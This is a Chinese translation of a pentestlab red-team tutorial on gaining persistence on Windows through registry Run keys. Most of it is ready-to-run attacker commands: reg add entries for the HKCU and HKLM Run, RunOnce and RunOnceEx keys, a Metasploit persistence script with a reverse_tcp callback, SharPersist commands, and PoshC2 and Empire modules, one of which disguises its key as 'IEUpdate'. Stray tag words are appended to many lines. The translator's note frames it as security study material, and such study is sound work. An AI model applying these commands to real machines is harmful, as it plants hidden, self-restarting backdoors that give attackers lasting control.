在紅隊行動中在網絡中得到最初的立足點是一項耗時的任務。所以,持久性是紅隊成功運做的關鍵,這將使團隊可以專一於目標,而不會失去與指揮和控制服務器的通訊。git
在Windows登陸期間建立將執行任意負載的註冊表項是紅隊遊戲手冊中最古老的技巧之一。這種持久性技術須要建立註冊表運行鍵各類威脅因素和已知工具,如Metasploit、Empire和SharPersist,都提供了這種能力,所以,成熟的SOC團隊將可以檢測到這種惡意活動。github
註冊表項能夠從終端添加到運行鍵以實現持久性。這些鍵將包含對用戶登陸時將執行的實際負載的引用,已知使用此持久性方法的威脅因素和紅隊使用如下注冊表位置。windows
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
註冊表–當前用戶的運行鍵安全
若是已得到提高的憑據,則最好使用本地計算機註冊表位置,而不是當前用戶,由於有效負載將在每次系統啓動時執行,而與使用系統身份驗證的用戶無關。服務器
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
註冊表–運行鍵本地計算機網絡
在下一次登陸期間,有效負載將執行並與回傳給Meterpeter。框架
Meterpreter –運行鍵tcp
另外兩個註冊表位置,這些位置能夠容許紅隊經過執行任意有效負載或DLL來實現持久性。這些將在登陸期間執行,而且須要管理員級別的特權。工具
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"
Meterpreter –任意DLLpost
Metasploit Framework經過使用Meterpreter腳本和後期利用模塊來支持經過註冊表的持久性。Meterpreter腳本將以VBS腳本的形式建立一個有效負載,該負載將被拖放到磁盤上,並將建立一個註冊表項,該註冊表項將在用戶登陸期間運行該有效負載。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
Metasploit – Meterpreter持久性腳本
用戶下次登陸系統時,將打開一個新的Meterpreter會話。
Metasploit – Meterpreter會話
另外,還有一個後期開發模塊,可用於持久性。該模塊須要如下配置,並將可執行文件放置在受感染系統上的可寫位置。
use post/windows/manage/persistence_exe set REXEPATH /tmp/pentestlab.exe set SESSION 2 set STARTUP USER set LOCALEXEPATH C:\\tmp run
Metasploit –持久性利用後開發模塊配置
因爲已選擇USER做爲選項,該模塊將使用當前用戶的註冊表位置。
Metasploit –持久性後期開發模塊
若是已得到系統級別的特權,則能夠將該模塊配置爲在HKLM位置中建立註冊表項。該STARTUP選項將須要改變系統。
set STARTUP SYSTEM
Metasploit –做爲系統的持久性模塊
SharPersist是Brett Hawkins在C#中開發的工具,它結合了多種持久性技術,包括添加註冊表運行鍵。該工具包能夠加載到支持反射加載的各類命令和控制框架中,例如Cobalt Strike和PoshC2。如下命令將建立一個註冊表項,該註冊表項將從與Metasploit Framework模塊相同的註冊表位置執行任意有效負載。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
SharPersist –以用戶身份註冊
若是已得到提高的訪問權限,請修改命令以在本地計算機位置中安裝註冊表項,以實現全部用戶的持久性。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env
SharPersist –註冊爲SYSTEM
SharPersist還經過RunOnce和RunOnceEx註冊表項包含持久性功能。如下命令將在這些位置建立註冊表項,這些註冊表項將執行任意有效負載。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add
SharPersist – RunOnce註冊表項
SharPersist還提供了使用另外一個註冊表位置進行持久化的選項(UserInitMprLogonScript)。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add
SharPersist –登陸腳本
PoshC2支持各類持久性功能,包括註冊表運行鍵的方法。如下命令將在目標主機中建立兩個註冊表項。
install-persistence
PoshC2 –持久性
註冊表的「運行」項將具備IEUpdate的名稱,以便看起來合法,第二個註冊表項將做爲牆紙隱藏在註冊表中。
PoshC2 –註冊表運行鍵
若是將Empire用做命令和控件,Empire包含兩個與經過註冊表運行項與持久性技術對齊的模塊。根據特權級別,這些模塊將嘗試在如下注冊表位置中安裝base64有效負載:
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
Empire – Debug 註冊表項有效負載
usemodule persistence/userland/registry usemodule persistence/elevated/registry*
Empire –Persistence Registry Module
將在名稱Updater下建立另外一個註冊表項,該註冊表項將包含要執行的命令。PowerShell將嘗試在下次登陸時運行Debug密鑰中存儲的有效負載,以實現持久性。
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Empire – Registry Run Key
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/